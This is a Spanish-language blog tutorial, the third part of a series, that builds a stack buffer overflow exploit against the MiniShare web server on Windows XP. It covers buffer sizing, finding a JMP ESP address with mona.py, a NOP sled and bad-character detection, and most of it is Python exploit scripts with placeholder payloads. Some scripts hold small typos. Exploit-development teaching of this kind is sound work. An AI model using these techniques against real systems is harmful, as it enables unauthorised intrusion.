Taller de iniciación al exploiting: desbordamiento de pila (3) - "acomodando" el espacio para nuestro payload

Anteriormente habíamos conseguido saber exactamente dónde está (offset) el puntero de la aplicación o EIP del servidor Minishare. La meta final es sobrescribir este registro para apuntar a una dirección de memoria donde haya otros procesos interesantes como la consola de comandos o, como haremos a continuación, donde esté nuestro código malicioso/shellcode.

Si echáis la "vista" atrás, anteriormente inyectamos un búfer de 2000 bytes con caracteres únicos para saber rápidamente que el EIP se encontraba a partir del 1787. Esto nos deja 209 bytes (2000−1787−4) si queremos escribir nuestro shellcode, espacio que podría ser insuficiente si consideramos que una shell inversa suele ocupar entre 300 y 400 bytes.

Para localizar espacio para nuestro shellcode la manera más rápida es incrementar el búfer de 2000 a 2200 bytes y verificar si el programa se bloquea y si da como resultado un espacio más grande para nuestro shellcode. Por lo que modificamos el exploit añadiendo 409 C's para ver el resultado:

EXPLOIT E
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x42\x42\x42\x42"

shellcode = "\x43" * 409

exploit="GET " + junk + eip + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()


Como veis en el volcado de memoria del ESP (botón derecho + "Follow in Dump"), el tamaño del búfer ha aumentado y se han sobrescrito todas las C's, lo que significa que tenemos asegurados al menos 409 bytes de espacio disponibles para nuestro shellcode, suficiente.

El siguiente paso es saltar a la localización de nuestro buffer y como nuestro buffer de C's comienza en ESP, necesitamos encontrar una forma de redirigir el flujo al inicio del registro ESP. Para ello, intentaremos encontrar una instrucción  "jmp esp" en memoria. De nuevo, usaremos el script mona.py para encontrar la instrucción JMP ESP más adecuada.

Primero listaremos todos los módulos o librerías cargados en memoria con el siguiente comando:

!mona modules


Observar que en la tabla resultante se incluye también información de la existencia o no de diversas protecciones como SEH, ASLR o NX. Dado que estamos trabajando en XP y no tenemos ningún tipo de protección, en nuestro caso elegimos por ejemplo el módulo del sistema operativo ole32.dll (soporte para objetos OLE) para buscar instrucciones "JMP ESP". Podemos utilizar el script Mona nuevamente para encontrar esta instrucción en dicho módulo:

!mona find -s "\xff\xe4" -m ole32.dll

* "ffe4" es el opcode equivalente a la instrucción JMP ESP.
 

Del resultado obtenido, usaremos el primer offset obtenido: 0x77559c77.

Si queréis obtener todos los punteros de tipo "JMP ESP" independientemente del módulo podéis ejecutar también en la consola:

!mona jmp -r esp


Como podéis observar se han encontrado hasta un total de 25 registros de este tipo en memoria (todos los resultados lo tenéis detallados en el fichero jmp.txt).

A continuación modificamos el script de nuestro exploit ya con el valor exacto del EIP que habíamos elegido anteriormente (0x77559c77), pero eso sí, lo escribiremos al revés. Esto es porque en Intel x86 las direcciones de memoria son almacenadas en formato little-endian, es decir, de derecha a izquierda, porque la parte menos significativa del dato se almacenaría en la dirección menor y la parte más significativa en la dirección mayor.


En definitiva, nuestro búfer ahora estará formado por 1787 A's, la dirección del EIP y el 409 C's para llegar a los 2200 bytes:

EXPLOIT F
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77

shellcode = "\x43" * 409

exploit="GET " + junk + eip + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Después de ejecutar el último exploit, veréis en la pila que el EIP no apunta al inicio del ESP. Ésto pasa frecuentemente porque al recalcularse los punteros muchas veces se escribe entre medias "código basura" por distintos motivos: programación, debugging, errores, ...


En estos casos hay que calcular el primer byte del shellcode donde apunta el EIP, y rellenar todos los anteriores con instrucciones que no hagan nada, como NOP . Recordamos que debemos usar \x90 que es el opcode de la operación NOP, y no \x00 que es el opcode de la operación NULL.

Empezaremos primero creando un pattern de 409 con Mona:

!mona pattern_create 409


y luego lo usaremos con nuestro exploit en lugar de las C's:

EXPLOIT G
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77

shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag"

exploit="GET " + junk + eip + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Si observáis ahora la pila en Immunity, podéis ver que hay un salto de 8 líneas (offsets) desde el inicio de la instrucción que llamaba a la librería (014A3904   77559C77  wœUw  ole32.77559C77) hasta la instrucción donde apunta el EIP (
014A3928   31624130  0Ab1).


En este caso se puede calcular rápidamente a ojo, pero en caso de que no se pudiera podríamos usar '!mona pattern_offset' con el valor de la línea del 'EIP 014A3928 = 0Ab1'.

Lo que haremos ahora es rellenar esos offsets/líneas con NOPs en el exploit: 8 *4 = 32, es decir, añadimos un total de 32 NOPs = \x90 antes del shellcode:

EXPLOIT H
#!/usr/share/python
se tienen que añadir 
import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag"

exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()


Al ejecutar el exploit vemos que ahora el EIP apunta al inicio de nuestro shellcode que empieza en:

014A3928   41306141  Aa0A


El siguiente paso es una de las partes más importantes para que un desbordamiento de búfer tenga éxito: detectar los caracteres incorrectos o "bad chars".
Pero, ¿qué es un bad char? Imaginad por ejemplo que estamos realizando un desbordamiento de búfer en el campo contraseña/nombre de usuario de un servidor ftp/smtp. El final de la cadena se indica con \r \n o (\x0a \x0d en hexadecimal) que significa retorno de carro y línea siguiente. Entonces, si \x0a o \x0d están presentes en cualquier parte de nuestro búfer, el nombre de usuario/contraseña terminarán allí y el resto del búfer restante no se tendrá en cuenta. En casi todos los casos, byte nulo o (\x00) es un bad char pero también hay otros...

Para detectarlos volveremos a usar nuestra navaja suiza Mona creando un byte array:

!mona bytearray -b '\x00'


Cogemos ese patrón generado en: C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.txt y lo pegamos en el shellcode del exploit:

EXPLOIT I:
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# !mona bytearray -b '\x00'

shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
shellcode += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
shellcode += "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
shellcode += "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
shellcode += "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
shellcode += "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
shellcode += "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
shellcode += "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Ejecutamos nuestro último exploit y miramos dónde salta nuestra shell:

014A3928   04030201 


Podemos ir al offset 014A3928 con Botón Derecho/Go to/Expression = 014A3928, pero se ve rápidamente en memoria que empieza a haber bytes 00s, lo que significa que se ha roto la ejecución por lo que debe hacer más "bad chars".

El byte justo ante de los 00 es un 0A, pero tendría que haber sido un 0D... que venía después de 01 02 03...0A 0B 0C 0D...

Iteramos y repetimos con Mona un bytearray, esta vez sin x00 y sin x0D:

!mona bytearray -b '\x00\x0d'


Volvemos a coger el patrón generado en el fichero 'C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.txt' y lo pegamos de nuevo en el exploit:

EXPLOIT J:
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# !mona bytearray -b '\x00\x0d'

shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
shellcode += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
shellcode += "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
shellcode += "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
shellcode += "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
shellcode += "\xa1\xa2\xa3\xa4\2xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
shellcode += "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
shellcode += "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Finalmente comprobamos en Immunity que están todos los caracteres en memoria:


Por fin, ya tenemos el espacio disponible y preparado para insertar y ejecutar nuestro shellcode. Os remito ya a la última entrada (esta vez más breve) donde generaremos y ejecutaremos shellcodes para abrir una calculadora (aplicación de ejemplo) y, el objetivo final, una shell de Metasploit.


Taller de iniciación al exploiting: desbordamiento de pila
1.- sobrescribiendo el EIP
2.- controlando el flujo de la aplicación
3.- "acomodando" el espacio para nuestro payload
4.- ejecución del shellcode

Comentarios

  1. Me ha encantado la manera de buscar badchars.
    ¡Gran tuto!

    ResponderEliminar
  2. Hola, no entiendo una parte. (Hasta ahora me inicio en esto de exploiting), "El byte justo ante de los 00 es un 0A, pero tendría que haber sido un 0D... que venía después de 01 02 03...0A 0B 0C 0D..." Porque 0d, si despues de 0a esta es 0b?
    Gracias.

    ResponderEliminar

Publicar un comentario